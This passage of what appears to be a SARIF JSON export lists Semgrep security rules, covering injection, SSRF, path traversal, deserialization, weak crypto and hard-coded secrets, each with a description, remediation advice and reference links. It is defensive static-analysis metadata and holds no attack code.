Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask","id":"python.flask.db.sqlobject-flask.sqlobject-flask","name":"python.flask.db.sqlobject-flask.sqlobject-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-flask.sqlobject-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"help":{"markdown":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","id":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","name":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic Secret detected"},"help":{"markdown":"Generic Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Generic Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret","id":"generic.secrets.security.detected-generic-secret.detected-generic-secret","name":"generic.secrets.security.detected-generic-secret.detected-generic-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-secret.detected-generic-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","id":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","name":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","id":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","name":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection","id":"javascript.phantom.security.audit.phantom-injection.phantom-injection","name":"javascript.phantom.security.audit.phantom-injection.phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.phantom.security.audit.phantom-injection.phantom-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","id":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","name":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"help":{"markdown":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","id":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","name":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","id":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","name":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"linux shadow file detected"},"help":{"markdown":"linux shadow file detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"linux shadow file detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow","id":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","name":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-etc-shadow.detected-etc-shadow"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","id":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","name":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","id":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","name":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"help":{"markdown":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"helpUri":"https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","id":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","name":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"CodeClimate detected"},"help":{"markdown":"CodeClimate detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"CodeClimate detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate","id":"generic.secrets.security.detected-codeclimate.detected-codeclimate","name":"generic.secrets.security.detected-codeclimate.detected-codeclimate","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-codeclimate.detected-codeclimate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","id":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","name":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary 